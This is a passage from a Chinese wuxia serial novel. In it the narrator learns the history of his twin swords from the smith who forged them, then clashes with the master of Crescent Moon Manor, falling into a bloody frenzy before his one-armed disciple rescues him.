我不肯放弃。我有一种强烈的感觉,昨晚在我陷入疯狂时帮我点住穴道的人就是小月。 我想起在青云派祖师祠堂里,我陷入昏迷之时,拂过我脸颊的那双手。 那时候,我也闻到了小月的香味儿。 这绝对不是巧合。 小月还活着。 这样的事让我惊喜而又疑惑。如果她真的还活着,她应该第一时间找到我。可是为什么,她却如同鬼影一般,在我危难的时候出现,却又不肯与我想见。 难道……真的是小月的魂魄? 是她一直陪着我,从来没有离开吗? 我在避风林中寻找了整整一天,直到晚霞如火,烧红了一整片树林。我又一次感觉到希望破灭的痛苦。 夜晚来临前,我在避风林最粗壮的一颗楸树前拔出血芒剑,在树干上留下一句话:“若你尚在人间,请出来与我相见。” 如果真的是小月,我想她会看到我的留书。 如果不是小月,那就当是我留给这片树林的一点纪念吧。 收起血芒剑,我望着通红如火的霞光,踏上了前往月牙山庄的路途。 2. 不错。月牙山庄。 慕容顺此人,无疑是各大门派中最为油滑的一个人。无论是在四年前那个备受压制的江湖里,还是当下这个诡谲变幻的江湖里,他都有办法独善其身。 他左右逢源,从不开罪江湖上的任何门派。只是与南华派的司徒清尘一向不和。 据说,月牙山庄与南华派之间的仇怨并非一日之寒。早在月牙山庄前任庄主还在世的时候,便不知道因为什么,月牙山庄与南华派之间便起过数次纷争。 但那些毕竟都是旧事。我眼前要做的,便是去月牙山庄一探究竟。 其一,完成赵构交代给我的事。 其二,我有一种感觉,易小心与陈伯洋人间蒸发,或许月牙山庄知道他们的下落。 快到月牙山庄时,我经过一个小镇。 一阵“叮叮当当”的声音,铿镪顿挫,在嘈杂的人声中显得尤为清晰。 我顺着声音寻找,却看见一座草屋前,竖着一只褐色的幡 ,随风摆动。幡上写着“岳家铁匠铺”三个字。 岳家铁匠铺。这一个“岳”字勾起了我的回忆。 我想起了五年前,我和李小谦第一次到月牙山庄时的场景。那时候,在缅岳亭中,慕容顺以烈火掌烤鲫鱼,灼伤了手掌,借故退出了管天下与我之间的斗争。 时隔五年,想起他演得那场苦肉计的好戏,我竟然觉得十分滑稽。 不愿帮我就算了,一句话说出口,当时的我又不能把他怎么样,何必要自己作践自己呢? 但如今,我却又好奇。以今日的我,若要求他与我一同诛杀陈伯洋和易小心,不知道他还会不会故技重施。 “客官,有什么吩咐吗?” 打铁的汉子似乎是发觉我在他的摊位前站得久了,竟然开口问我。他放下手中烧的通红的铁钳,手中拿着锤子,自夸道:“我家祖传的打铁功夫,做得活儿是十里八乡最有名的。只要您说得上的,没有我们家打不了的。” 我问:“你能打鱼吗?” 打铁的汉子一怔,挥着手上的锤子,满脸不快,说:“客官说笑了,小的只会打铁,不会打渔。” 我说:“牛皮吹得很响,只可惜没有那副本事。” 打铁的汉子被我一句话激怒了,他吼道:“老子祖传的打铁功夫,是这附近出了名的铁匠,不是渔夫。” 我这才意识到问题出在哪里,不禁笑了起来。 打铁的汉子更加恼怒了,他挥着铁锤绕过摊子,向我展示着他那副壮硕有力的臂膀,吼道:“你笑甚?” 我说:“我不是让你打渔,而是让你打鱼,铁做的鱼!” 打铁的汉子一愣,随即憨笑起来,一面挠头,一面道歉:“是小的没听明白,客官莫要怪罪!” 我问:“能打吗?” 打铁的汉子说:“能打!能打!虽然没有打过,但只要您说得上的,没有我们家打不了的。”说罢,他绕进铺子里,问:“客官什么时候来取?” 我说:“我现在就要。” “现在?”打铁的汉子愣了一下。 我问:“有问题吗?” 打铁的汉子又是一阵憨笑,说:“没问题。我这就起模子。”说完,他向铺子里走去,一边走一边喊着:“牛蛋,给这位客官倒壶水。” 不一会儿,一个光膀子的小个子从铺子里跑了出来,左手托着碗,右手提着壶,迈出铺子时或许是急了一些,后脚没跟上绊在了门槛上,一个踉跄,手中的茶壶茶碗飞了出去。 我刚想出手接下。却见那小个子左手握拳捶在地上,身子顺势弹起,右手以迅雷之势将茶壶茶碗尽收于掌心之上,稳稳地拖住了。 一个其貌不扬的小个子,竟然身负武功。一时间,我对这个岳家铁匠铺产生了兴趣。 小个子抹了一把汗,长吁一声,念道:“还好反应快。”说罢,如没事人一般跑到我跟前,为我填满茶水,说:“客官请慢用,有何吩咐尽管喊我。” 我问:“你叫什么?” 小个子说:“牛蛋。我叫牛蛋。” 因为名字,他让我倍感亲切。人总是能在同病的人身上找到怜悯的感觉,其实怜悯的并不是别人,而是自己。 我说:“你的武功不错。” 牛蛋一怔,笑道:“客官说笑了,小的不懂武功。”说完,他扭头跑进了铺子,看起来十分慌张。 懂武功又不是什么坏事,有什么好隐瞒的。 我端起茶碗,凑到嘴边轻轻抿了一口,目光落在那小个子倒地时一拳捶在的地面上,忽然心头一震。 只见厚青石板铺开的地面上,一个拳头大小的凹印,一整块石板碎裂成十七八块。只是一拳,这样刚猛的拳劲十分罕见。 我忽然意识到,那个叫牛蛋的小个子不仅是懂得武功那么简单,他应当是一个深藏不露的高手。 那么这间铁匠铺的老板,一定也不会是简单的人物。 我突然兴奋起来,心里忍不住地躁动。我想要去会一会这间铺子里的人。 “客官有何吩咐?”打铁的汉子正在捏着泥胚,中间凹陷的模子大致已经成了一条鱼的形状。 高手过招之前,总要问个姓名。 我说:“你叫什么名字?” 打铁的汉子憨笑着,身上因常年打铁,被炉火烤得黑里透红。他说:“小的姓岳,单名一个献字。”他一边说着,一边捏着泥胚。 我说:“你的武功应该不错。” 岳献愣了片刻,他回头看了一眼惊慌失措的牛蛋,回头对我笑道:“客官说笑了,小的是打铁的,不懂武功。” 我说:“我不信。” 岳献低着头,手上摆弄着泥胚,说:“小的说得都是实话。客官不信,小的也没有办法。” “试一试就知道了。” 我抽出血芒剑,向着岳献的头顶,一剑劈了下去。 “岳大哥小心了!”牛蛋慌忙喊道。 但岳献只是手上缓缓捏着泥胚,脸上挂着僵硬的笑,身子一动未动。血芒剑的红光斩断了岳献的几缕发丝,却在他头顶上半寸停了下来。 我说:“你不躲,就不怕我真的杀了你?” 岳献笑了笑,说:“血芒剑要杀人,又有谁能躲得开?” 我心头一颤,问:“你认得血芒剑!” 岳献没有立即回答我,他拿着手上捏好的泥胚,在炉火上烤硬,又用刮刀在模子上雕出片片鱼鳞,手法精湛,犹如作画一般。 “青光血芒,一世剑狂。”岳献将化好的铁水注入到模子里,说,“当年这一对剑,曾让江湖上多少英雄好汉望尘莫及。从你站在我铺子前的时候,我就认出了这把剑,虽然你给它配了一把很漂亮的剑鞘,把它的光彩都藏了起来,但我还是一眼便认出了它。” 我不禁惊诧:“你跟这把剑很熟吗?” 岳献笑着,将冷却好的铁鱼扣了出来,用锤子击打着鱼尾。经过一番雕琢、修整,一条栩栩如生地铁鱼呈现在我面前,仿佛是活得一般。 他打铁的功夫,让我惊叹。 岳献将铁鱼递到我手上,对我说:“十两银子。” 我说:“你还没有回答我的问题。” 岳献说:“你是问这把剑?” 我说:“不错,你为什么一眼就能认出它?你可认得这剑的主人?” 岳献望向铺子外的天空,目光深邃,似乎陷入回忆。他说:“我当然认得。因为这双剑,是我打的!” 第二百一十九章 旧事 1 缘分这东西果然奇妙,似乎一切在冥冥之中都有安排,让我阴差阳错间遇到了青光和血芒的铸造之人——岳献。 这个隐藏在偏僻小镇上其貌不扬的打铁汉子。他那许多意味深长的谈话,表情里的淡定,还有那古井不波的眼眸中所透出的光,让我顿时感觉他是一个看透了世间一切的男人。 一种肃然的敬意油然而生。 我问他“你铸造了这样的神兵利器,应当早已经名满江湖,为何会藏身在这个小镇上?” 岳献却告诉我“因为这世上有太多事让我看不透。所以躲在这里想一想。没想到这一躲便躲了二十几年。” 我一头雾水,而且非常失望,那股刚刚升起的敬意又焕然消散。我问“你有什么看不透的?” 岳献说“很多。” 我问“比如呢?” 岳献仰头说道“人从何处而来,又到何处而去。人死之后是否真的有灵魂,人活一世到底意义何在?” 我一阵无语。 岳献说“最令我烦恼的还是当年的铸剑之事。话说当年,我机缘巧合得了一块西塞神铁,以阴阳铸造法铸两把宝剑。一把青光碧波,美轮美奂,一把猩红似血,邪性外露。本以为可以名动江湖,却因一个人引得江湖上一场血雨腥风。我很内疚,却更加迷茫。这两把剑明明是同根而生,却为何会产生如此巨大的差异。我一直在思索这个问题,苦陷其中难以自拔,因此便隐姓埋名,在这个镇上开起了铁匠铺。” 很多人都曾经告诉过我,我爹姬啸风曾以血芒剑在江湖上制造了无数的杀戮。但我至今不知道当年发生了什么。 这或许是一个很好的机会。因为眼前的人,一定是亲身经历了当年的那场血雨腥风。 我问“当年到底发生了什么?” 岳献陷入回忆,他长叹一声,说起了当年的旧事。 岳献其实并不是他最初所说的打铁世家。他是铸剑大师张鸿九的弟子。岳献告诉我,他师父张鸿九,江湖奇人,能得其铸一剑,万金难求。 这一句话让我突然觉得十分后悔。因为我想起了当年娄琴送我的那把九郎剑。白景行曾说,那把剑就是出自大师张鸿九之手。 早知道张鸿九造的剑这么值钱,我便宁死也不要用它来挡苏红袖的那剑。 岳献告诉我。三十年前,他心高气傲,辞别恩师张鸿九,独自在天地间游历,只为了寻找一块最好的铸铁材料,铸造一把可以流传万世的宝剑。 机缘巧合,岳献在西塞荒漠之中,偶然见到一颗陨星坠落。书中记载,攻城掠地,天将陨铁,铸之可为 神器。 岳献发疯一样向陨星降落的方向跑去。跑了整整一天一天,终于在荒漠尽头发现了一个破旧的客栈。 客栈的门口有一方圆数丈的大坑,大坑旁边,坐着一个灰头土脸的年轻人。他本在荒漠之边经营一家客栈,为往来大漠的商客歇脚的地方,以此为生。一天前,天上忽然金光一闪,坠下一个火球,将他客栈前的院子砸了一个数丈的大坑。 那年轻人吓坏了,在大坑边上惊慌失措地做了一天一夜,直到岳献赶到那里。 岳献初见那年轻人时,与他交谈几句,便觉得眼前的年轻人温文儒雅,古道热肠,虽然与岳献素不相识,但还是竭尽全力地帮着他将那块天将陨石从土坑里搬了上去。 岳献兴奋不已,便在客栈边上,铸炉炼铁,费了七七四十九天的功夫,终于把一块一人多高的陨石炼成了一块八十几斤重的铁块。 然而,铸剑是十分讲究的事,需要天时地利人和,尤其是铸造神器,其中的手法步骤,甚至是铸剑的火炉都要十分考究。荒漠之中条件有限,岳献只好背着沉重的陨铁返回中原。 临走之前,岳献为感谢年轻人的帮助,与他击掌为诺,神剑练成之时,便将剑送给他。 岳献说,当时那人并没有表现出任何的渴望或者兴奋。他觉得,那年轻人对剑并不感兴趣。 岳献铸剑耗费了整整一年的时间,他挑选良辰吉时,开炉铸剑,以阴阳铸铁法打造了两柄剑。就在神剑淬火铸成之日,神奇的一幕出现了,本是通体黝黑丑陋不堪的两柄剑,却忽然变了模样。一把青光闪耀,一把猩红如血,隐约间透着一正一邪两种气息。 就在岳献为之诧异之时。忽然有一个人推开了他铸剑坊的大门,那个人正是在荒漠之边帮助过他的年轻人。 他的目光很冷,似乎是刚刚承受了极大的伤痛。他进门便问“你答应我的事还算不算数?” 岳献问“什么事?” 年轻人说“你说神剑铸成之后便把它送给我。现在可是铸成了?” 岳献恍然,这才想起当年的承诺,连连点头说“一言既出驷马难追。” 年轻人说“很好。我要你现在就兑现诺言。” 岳献并不想食言,但他却很犹豫。当年他想以八十斤神铁铸成一把剑,后来却又改变主意铸成了两把。而这两把却如此的迥异,岳献到底要将哪一把剑送给这个年轻人呢? 经过一番思索,岳献决定将两把剑都送给他。因为这两把剑本是同根而生,既然是神物,其两者之间毕竟有千丝万缕的感应,冥冥中他感觉这两把剑应当在一起。 岳献将两把铸成的宝剑送给了年轻人。年轻人却连一个谢字都没有说,提剑就要走。 岳献急忙将他喊住,问“既然我把剑送给你了,你可不可以告诉我你叫什么名字?” 那年轻人回首,却没有直视岳献,他说“我叫姬啸风。” 2 “我爹!”我听得十分震惊。 岳献愣了一下,笑了起来“果然,果然虽然我只见了他两面,但从我见到你便觉得你与他当年的模样有七八分相似。你果然是他的后人。” 我说“我也没有见过他。我从小便跟着我师父浪迹天涯。” 岳献若有所思,他说“原来如此。那这剑又怎么会到了你手上?” 这件事说起了实在复杂。那得从苏红袖和娄琴两人分别说起我觉得麻烦,便用了四个字来概括“机缘巧合。” 岳献呵呵笑道“好一个机缘巧合。冥冥之中自有天意啊。从那块陨铁降落下来开始,或许就注定了此物与你家又莫大的渊源。奇妙,当真是奇妙啊!” 我急忙打断他毫无意义的感慨,问“后来发生了什么?” 岳献说“我也不知道发生了什么。” 我急道“你不知道?你怎么可能不知道?!” 岳献说“我真的不知道。那双剑交给姬啸风之后,一年多的时间里,姬啸风便像是人间蒸发了一样。江湖上根本就没有出现过他的名字。为此我还深感失望,本想将两柄神剑托付给有用之人,借此在江湖上扬名立万,没想到姬啸风却带着剑没了踪影。但是在一年多以后,江湖上突然流传出一个让人闻之丧胆的口号。” 我问“什么口号?” 岳献重重念道“青光血芒,一世剑狂!” 竟然是这个口号! 我忽然觉得十分失落,因为我最想知道是当年到底发生了什么。或者说是这个口号的来历,到底是因为什么。 四年前陆家山庄中,血芒剑挥血如雨。几天前,避风林中,我再次陷入了血芒剑躁动的疯狂之中,它似乎与我身上的摩诃钵特摩咒之间有了某种奇妙的呼应,让我产生了根本无法克制的疯狂。 而当年的旧事,或许可以给我一个答案。 这时,岳献问我“青光剑何在?” 我说“我把它留给别人了。” 岳献眉头一皱,说“为何要将两柄剑分开?” 我心中一凉,想起避风林中那一幕,忙问“莫非两柄剑分开会造成什么严重的后果吗?” 岳献抿了抿嘴,憨笑道“那倒不是,只是这两柄剑乃是同胞所出的兄弟 ,你这样让它们兄弟分离,我有些于心不忍。” 这个该死的打铁汉子,让我好一阵慌张。 我说“我感觉这把剑有时候会控制我的思绪,让我陷入一种十分难以控制的疯狂之中。你知道是什么原因吗?” 岳献说“这或许就是让姬啸风成为剑狂的原因。” 我问“什么原因?” 岳献长叹了一口气,说“我也一直在想。” 我真的不想再与此人多废话一句,因为我担心再和他聊下去,自己会忍不住怒火拔剑将他杀掉。 我抱拳说了一声“告辞。” 岳献伸手将我拦住,说“留步。” 我问“还有何事?” 岳献盯着我手中的血芒剑,说“我虽然不知道姬啸风是如何成了剑狂,但我确信其中的原因一定与这把剑无关。” 我大为不解,问“你是如何确认?” 岳献指了指自己的头,说“凭借这个!一个铸剑师的智慧!” (本章完) (教育123文学网) 第二百二十章 烈火 ()1. 虽然,我并不能理解。但是,岳献的话应该是正确的。他的观点与娄琴的话不谋而合。 剑没有正邪之分,区分正邪的从来都是人心。 离开岳献之后,我按原定计划赶到了月牙山庄。 还像第一次造访时一样,我并没有进入山庄,而是去了那座缅岳亭。 一切如故。只是那时是初夏,青苗遍野,草长莺飞。而冬月里的缅岳亭显得有些萧索,也不见在山间地头忙碌耕作的人。 在缅岳亭中吹了一个多时辰的冷风,我没有见到任何人影。古有烽火狼烟,传递消息。所以,我点了一个火堆,在柴火上附上潮湿的树叶,不消片刻浓烟滚滚直冲天际,缅岳亭很快成了雾蒙蒙的一片。 我想,只要月牙山庄的人不是瞎子,一定会看到这里的景象。我就可以以逸待劳,等着慕容顺自己来找我。 果然,在半个时辰之后,我看到月牙山庄处匆匆忙忙跑来几道人影。待他们跑得近些,我看见跑在最前面的人正是月牙山庄的庄主——慕容顺。 慕容顺钻进滚滚浓烟中与我相见,他满脸是泪,极力地控制着,说:“原来是你。这烟是你放的?” 我说:“不错,我是专程来找你的。” 慕容顺擦干眼泪说:“可否离开此处说话。” 我问:“为什么?” 慕容顺说:“太呛了,我有些受不了。” 我说:“不行。有些事必须在这里做才有意义。” 慕容顺很诧异,他问:“你要做什么事?” 我从怀里掏出那条岳献亲手打造的铁鱼,扔给慕容顺。慕容顺接住铁鱼,眉头一皱,说:“铁鱼?你这是何意?” 我说:“五年前我刚到慕容山庄的时候,你曾以烈火掌为我烤鱼。如今我想再看一次。” 慕容顺很生气,将铁鱼狠狠摔在地上,喝道:“你竟然戏耍我!” 我将铁鱼捡起来,递回给慕容顺。慕容顺负手不接,还扬起了高傲的头颅。看着他的样子,我只觉得好笑。我说:“如果五年前你肯是这副模样将我赶走,或许我还不会对你这么讨厌。” 慕容顺冷哼一声,说:“你心里如何想,我并不在乎。你远道而来,若是做客,我月牙山庄上下必定以礼相待,若是寻衅......这是我月牙山庄的地方,纵使你武功高强,却也未必能占得了便宜。” 我说:“我既不是来做客,也不是来寻衅。” 慕容顺问:“那你因何而来,还请与在下说个明白。” 我说:“我接皇上的旨意,探查各大门派是否与朝廷党羽勾结,这是第一个目的。第二个目的......我想问你,是否知道陈伯洋或者易小心的下落。” 慕容顺说:“想不到,你至今仍在为朝廷做事。” 我说:“我并不是为朝廷做事。只是我最近找不到陈伯洋,无所是事,顺便帮他们做一点事罢了。” 慕容顺不屑地一笑,说:“说得好听。从五年前我便看得出,你分明就是朝廷安插在江湖之中,来瓦解各大门派的奸细。” 若是以往,我听到这样话恐怕已经雷霆大怒。但这个时候,我并没有生气,因为在我眼中,慕容顺只不过是一只曲指可碾死的蝼蚁 ,他对我的任何侮辱谩骂都不过是锤死之前的挣扎而已。 我说:“你还是老实回答我的问题。如果你不说,我就让你月牙山庄上下片甲不留。你知道,我说得出,做得到。” 这句威胁果然奏效。 慕容顺的表情不再那么高傲,他眼中有一丝恐惧。他说:“我月牙山庄与朝廷中人没有任何勾结,我更不知道陈伯洋与易小心的下落。” 我继续试探,问:“你真的不知道他们的下落。” 慕容顺满脸焦急,极力地向我解释:“陈伯洋已经疯了成了那般模样,我避之不及,怎么会去打探他的消息。至于易小心,他行踪更是飘忽不定,整个江湖上都不知道他的消息,我更无从得知了。” 我将铁鱼递给慕容顺,慕容顺一怔,迟疑了片刻还是拿在了手里。 我说:“烈火掌烤鱼。看过我便离开。” 慕容顺眉头紧锁,问:“此话当真?” 我说:“千真万确。” 慕容顺慢慢攥起了拳头,将铁鱼握在掌心,手背上青筋绷起,很快便见他手掌之上冒起了徐徐白烟。 慕容顺两腮鼓动,额头上布满了汗珠。 我看得出,他很痛苦。他掌心传来“噼啪噼啪”的声音,比骨节的响声更加清脆。很快,我便问道一股烤肉的焦香。终于,慕容顺再也忍受不住,手掌一翻,铁鱼“啪”的一声落在了地上。 慕容顺的手掌已经成了一片焦黑色。 “现在你满意了吧。”慕容顺咬着牙问我。 这副画面真是令我怀念。当年我与李小谦在缅岳亭时,他以烈火掌烤鱼灼伤了手掌,令我怀着万般内疚的心情离开。 如今,我只觉得畅快。 我向慕容顺拱手告别,说:“后会有期。” 在我快要走出缅岳亭的时候,慕容顺忽然问我:“我有一事不明。” 我停下脚步,问:“什么事?” 慕容顺说:“我自问与你并无冤仇,你为何要如此逼我?” 我为什么要逼他? 这真的是一个十分难以回答的问题。因为,我真的不知道自己为什么要逼他做这样的事。 只是因为讨厌他吗? 我没有回答,离开了缅岳亭,离开了月牙山庄。 2. 在我走出月牙山庄之时,途径一片树林。 或许是因为最近一段日子奔波太久,又或许是走过月牙山庄之后仍旧没有得到自己想要的消息。总之,我感觉十分疲惫。 我找了一颗十分粗壮的树,靠在树干上闭目凝神。 忽然,我感觉自己背部一阵刺痛,仿佛是被什么及其锋利,及其细微的东西扎了一下。而且,这种刺痛......很熟悉。 我转身查看树干。在树干上找到了三根银光闪闪的细针。 如牛毛一般细小的银针,却深深地刺入树干之中半寸之深。甚至我想要将它们拔出来,都用了很大的力气。 到底是什么暗器有如此强大的威力,竟然能将这么细小的银针射入树干之中? 倏地,一个念头闪过我的脑海,我不禁一颤,一股不可抑制的狂喜涌上心头。 竹筒! 是白景行给我的那个竹筒! 我细细观察那银针,它曾无数次打入我的体内,助我练成这天下间最快的剑。它对我来说,再熟悉不过。这就是从那竹筒中发出的银针。 而那根竹筒应该是在易小心的手中。 不错! 一定是易小心! 他就在附近,他一定是在这里练过剑,所以才会留下这些银针。 而这周围,是一片一览无余的梯田,根本就没有什么藏身的地方。如果说有,那么只有一处——便是我身后的月牙山庄! 慕容顺在说谎! 我转身冲回了月牙山庄。踢开月牙山庄的大门时,慕容顺正在庭院的正中抚琴。他看到是我,慌忙将那只受伤的手藏到身后。 “你,你怎么又回来了。”慕容顺很慌张。 我举起三根银针,将它们掷到慕容顺跟前,说:“把易小心交出来!” 慕容顺看了一眼地上的银针,说:“我,我不知道你在说什么。” 对于慕容顺的欺骗,我觉得十分愤怒。我重复道:“把易小心给我交出来!” 慕容顺说:“他不在月牙山庄,你叫我如何交人。” 我拔出血芒剑,说:“既然你不肯交,那我只有自己去找了。”说罢,我向通往月牙山庄内院的回廊走去。 慕容顺身子一晃,闪到我面前,说:“你不要欺人太甚!月牙山庄岂容你在此撒野?” 我不管他的阻拦,执意向回廊走去。慕容顺翻手一掌向我劈来。我未闪躲,那一掌正中我背心处,一股灼热的气流窜入我体内。 虽然,慕容家独门的烈火掌十分厉害。但慕容顺功力尚浅,绝无可能对我产生任何伤害。但是,说来奇怪,这一击烈火掌却顿时令我身血气沸腾,变得异常汹涌。我一时间忍受不住,竟一口鲜血喷了出来,险些倒在地上。 慕容顺也是十分惊讶,他不敢置信地看着自己的手,喜出望外。 他那只手本应在我逼他烤鱼之时被灼伤了,可我却看到那只手肤白肉嫩,完好无损。 原来......我又被他骗了。 我忍无可忍,提起剑对他一剑挥去。慕容顺急忙做出反应,身子一侧躲了过去。 慕容顺竟然躲过了我的剑! 我的剑应当是这天下最快的剑,就连司徒清尘也无法躲过,竟然被慕容顺轻易地躲了过去! 到底是慕容顺深藏不露,还是我自己出了什么问题。 忽然,我又觉得一股热浪涌来。慕容顺在我疑惑分神之时,对我胸口又击一掌。一前一后,两个掌印相对。我感觉我的胸腔之中似乎是有一把火炬在熊熊燃烧,好像要将我整个人烧成灰烬一般。 那种痛苦,比起我练摩诃钵特摩咒时所受的痛苦有过之而无不及。 这是何道理? 为什么会这样? 我战胜了这个江湖上几乎所有的高手,却为何会败在毫不起眼的慕容顺手中? 慕容顺已经惊喜到疯狂,他放肆地大笑,双手一连对我打出五掌,掌掌击在我胸口。我被一股烈火焚身的痛苦包裹着,再也没有了丝毫的招架之力,只任由慕容顺把我当做那可怜的烤鱼,直至变成一团焦灰。 第二百二十一章 清醒 ()1. 世间万物相生相克,没有一种武功是绝对超然于一切的存在。当我觉得摩诃钵特摩咒已经天下无敌的时候,根本不会想到它连一招平平常常的烈火掌都无法抵挡。 烈火掌的纯阳气息与我体内的摩诃钵特摩之力相互冲撞,如同在我体内燃起了熊熊烈火。 慕容顺不停地向我出掌,我却在痛苦之中变得毫无招架之力。 我跪倒在地上,一口气都提不上来。慕容顺狞笑着,说:“真是意外。你连战江湖数大高手,就连司徒清尘都敌不过你一招。没想到,今天竟然会败在我的手上!” 慕容顺双手交叉,错于丹田。他浑聚内力,似乎是要集中身的力气,对我发出最后一击。 而我,却连反抗的力气都没有了。 忽然,慕容顺扬起一掌,以极快地速度向我头顶劈来。这一招又快又猛,别说是已经深受重伤的我,即便是我然无损的时候,恐怕也不敢硬接,只能设法躲避。 一滴血,从我嘴角滑落,滴在血芒剑上。 血芒剑似乎感受到了我的绝望。它突然间变得躁动不安,有一股冰凉的气息从剑柄传入我手心。 很快,我体内那股熊熊燃烧的火焰被压制下去许多。 就在慕容顺一掌就要劈在我面门上的时候,我猛地撩起血芒剑,向上一挥。 慕容顺只顾着给我最为沉重的一击,他拼尽了力,却丝毫没有防备的招式。这一剑正挥在他劈来的手腕上,猩红光芒一闪,接着便是血溅三尺。 慕容顺的手被砍断了。他死死攥着自己的断手,痛苦地嚎叫着。眼神中尽是痛苦、懊悔,还是深入骨髓的恨意。 “来,来人!”慕容顺大喊一声。顷刻间,周围已是数十人将我团团围住。 慕容顺被人搀扶着,他那只断掉的手臂上血流如注,很快将他脚下的青砖染红。 “杀,杀了他,快杀了他!”慕容顺咆哮着。 但是,数十人就那么站着,没有一个人敢上前一步。他们之中,甚至多数人在后退! 因为他们看到了一个魔鬼。一个手持着鲜血淋漓的长剑,浑身是血,面目狰狞的魔鬼!这个魔鬼饱受烈火焚身的痛苦,在苦苦挣扎之后的片刻喘息中觉醒。这个魔鬼的心中、眼中甚至是每一滴血液中,没有一处不充斥愤怒——杀人的愤怒。 我就是那个魔鬼。 “莲,莲花!血莲花!”一个人指着我惊叫。 那叫声之中充满了恐惧,也因恐惧变得刺耳。我提剑冲到他面前,一挥剑,斩下他的头颅。鲜血溅满了血芒剑,血芒剑仿佛是受到了雨露滋养的鲜花,每一寸剑刃都红得尤为鲜艳。 慕容顺不知是吓得还是因为失血过多,整张脸已经毫无血色,他浑身瘫软如若无骨,被三四个人搀扶着连连后退。 杀! 杀了他! 有一个声音在我耳畔回响。我想都没想,横剑向他刺了过去。 就在血芒剑即将刺破慕容顺身体的时候,忽然不明之处一道青光闪过。一道柔和的青光,如同是碧水深潭中荡起的微澜,看似柔弱,却蕴藏了极大的力量。 青芒剑连着我被那道青光震开。 慕容顺捡回一条性命,已经是魂飞胆破,彻底瘫坐在地上,三五个人一起用力将他抬起来时,地上除了淋漓的鲜血,还是一滩像水一样的液体。 绍兴十四年,中元夜。 临安府街面上清清冷冷,不见人烟,气氛阴森可怖。 但娄琴客栈二楼的客房里,却是欢声笑语,热闹非凡。那夜,我和李小谦盘坐着床上,他有意吓我,跟我讲起了鬼故事。 忽然,白景行如一道白色魅影一般地从窗外飘进屋子,倒悬于梁上,垂下三尺白发,把李小谦吓得蹲坐在地上,尿湿了一大片。 那时,我便问他,你怎么了? 李小谦说,他的水龙头崩了。 这件事让我嘲笑了他许多年......那一夜,慕容顺也在场。 那时候的我,手无缚鸡之力,时常会被人嘲笑戏弄 ,动辄便会义愤填膺,却只能义愤而无可奈何。 那时候,很多人都笑我傻,没有人会叫我“姬盟主”或者“姬大侠”,江湖上没有几个人知道我的名字。 但是,现在想来,那时候的平凡,何尝不是一种快乐。 说来真是可笑,慕容顺的一泡尿勾起了一段已时隔六年的回忆,而这段回忆里的人和他们的笑声却又触动了我心里柔软的角落。 那股充斥在血液里的愤怒忽然不见了,从血芒剑里源源不断输入到我身体里的那股冰冰凉凉的气息如同是被抽走了一般,瞬间让我恢复了清醒。 我看着自己沾满血的双手,忽然感到害怕。 曾经,我是多么不愿伤人性命。即使他们瞧不起我,他们鄙视我,他们嘲笑我,即使我怒不可遏,我也只不过是想要将那些人毒打一顿出气,何曾有片刻想过要杀了谁? 如今我是怎么了? 我这双手已经沾染了太多太多人的血。纵使他们之中有些人本身就罪大恶极。 当血芒剑的冰凉气息彻底从我身体中褪去,那股烈火掌注入我血脉里的灼热又很快地苏醒过来,我如同坠入火海一般,五内俱焚,难以忍受。 迷迷蒙蒙之间,我看到人群之外有一道灰影腾空跃来,一个独臂的少年,手持着青光潋滟的宝剑傲然挺立。 他眼神执着而坚毅,怒视着所有的人,如同是一只凶猛的野兽。 “十三......”我喊他的名字。 余十三却并没有答应。他将青光剑插在腰间,用仅剩地一只手托住我摇摇欲坠的身体。 我问:“你怎么来了?” 余十三说:“我一直都在跟着你。” “为什么?”我问他,“你不是说你已经不欠我什么了吗?” 余十三说:“我娘对我说不能欠别人恩情。我一直都想还,但后来才发现,有些情谊是永远也还不清的。” 那一刻,我为自己有这样一个小徒弟由衷地感到自豪。曾经,我只以为他性格像磐石一样坚硬,出手狠辣果决,却第一次发现他竟然是这般情深义重。 余十三拉着我向后退,小声说:“我们走。” 走?! 这时我们已经被月牙山庄百十名弟子团团围了起来。他们见我恢复了清醒,身负重伤,已无招架之力。而我又刚刚砍断了慕容顺的手,这些人是不会放过这个立功的大好机会的。 我说:“你走吧,不要管我了。” 余十三摇头说:“一起走。” 话刚说完,忽然有几个人已经向我们冲来。月牙山庄武功路数颇多,十八般兵器,掌法拳法腿法,各式各样的招式一齐向我们打来。 余十三将我向后一推,从腰间拔出青光剑,横在手中一扫。一道碧青色的剑气呈弯月状扫出,将冲上来的几人生生逼了回去。 有几人躲闪不及,被剑气杀中,身上登时鲜血淋漓,重伤倒地。 “剑练得不错。”我忍不住夸赞他几句。 余十三瞥了我一眼,毫不客气地说:“那是自然!” 2. 青光剑在余十三手中发挥了极大的威力,他剑锋如雨,如缜密竹林,密不透风,月牙山庄百十名弟子跃跃欲试却无一人能近身。 余十三就这样一面挥剑,一面护着我想月牙山庄的后院中退去。他护着我退入回廊,一百多人在狭窄的回廊中拥挤着,更加发挥不出什么威力。 余十三看准时机,对着回廊上的几根立柱猛砍几剑,随即转身拉着我,快速冲进了后院。 “轰”的一声,被余十三砍断立柱的那段回廊塌了下去,堵住了后来人的路。我俩也得以喘息,在后院中一番摸索,却怎么也找不到出去的路。 月牙山庄四周无山林险要,为了加固防御,所以将围墙修得很高。若是在平时,翻墙入院这样的事,即便是再高也不在话下。但此时我身受重伤,别说是使用轻功,就是从前院跑到后院这几步也觉得十分艰难。 眼见着月牙山庄的人就要冲进后院,情急之下,我和余十三钻进了后院东 南角落里的一间看似十分老旧的屋子躲了起来。 这间屋子看起来似乎是很久没有人居住了。屋内的桌椅板凳上落着一层厚厚的尘灰,屋子里十分阴冷,还弥漫着一股刺鼻的霉味。 “挨个屋子搜,绝不能让他们跑了!” 屋子外传来一阵丁零当啷的响声,听得出外面的那些人即使要将月牙山庄后院翻个底朝天,也要将我们找出来。 我对余十三说:“我不行了,你快走吧。以你的武功,自己逃出去没有问题,若带着我,你我都必死无疑。” 余十三没有说话,只是摇了摇头。 屋外的声音越来越清晰,我知道他们离这间屋子已经越来越近了。 “搜到了吗?” “没有!只剩这间屋子没搜了。” “我进去搜!” “不行!这间屋子没有庄主的命令不能进。” “要紧时刻,顾不得那么多了!” “不行!老庄主遗命不可违背!你们几个在这里守着,我这就去请示庄主!” ...... 听得出,这间破屋子很特殊,外面的人似乎是有多忌惮,不敢擅自进来。我和余十三暂时安了。 我长长舒了一口气,但随之而来的灼烧感又让我一阵痛苦。 余十三慌忙运功为我疗伤,可手掌刚刚触到我,却如同被刺到一般地抽了回去。 “好烫!”余十三惊叫道。 